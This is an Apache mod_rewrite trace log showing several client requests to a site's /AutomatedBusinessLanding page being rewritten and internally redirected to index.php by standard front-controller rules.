[Mon Nov 10 18:44:04.418224 2025] [rewrite:trace1] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850673 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850740 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850785 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850825 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850858 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850879 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850899 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850922 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850942 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.850961 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff28401f880/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851095 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851120 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851150 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851174 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851196 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851211 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851231 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851246 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851256 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840c89d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851567 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851592 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851615 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851636 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851652 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851663 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851673 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851683 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851693 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:21.851711 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 104.244.73.193:57740] 104.244.73.193 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2840d5c70/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519232 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519358 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519398 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519448 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519465 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519483 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519501 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519518 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519536 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519553 2025] [rewrite:trace1] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c44c0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519679 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519701 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519731 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519753 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519772 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519791 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519818 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519832 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.519851 2025] [rewrite:trace1] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d0010d58/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520095 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520133 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520155 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520193 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520215 2025] [rewrite:trace4] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520231 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520247 2025] [rewrite:trace3] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520266 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520284 2025] [rewrite:trace2] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:49.520302 2025] [rewrite:trace1] [pid 11954:tid 12037] mod_rewrite.c(505): [client 185.220.101.186:14603] 185.220.101.186 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d00c94e0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933832 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933881 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933901 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933931 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933948 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933959 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933970 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.933983 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934034 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934047 2025] [rewrite:trace1] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b4017730/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
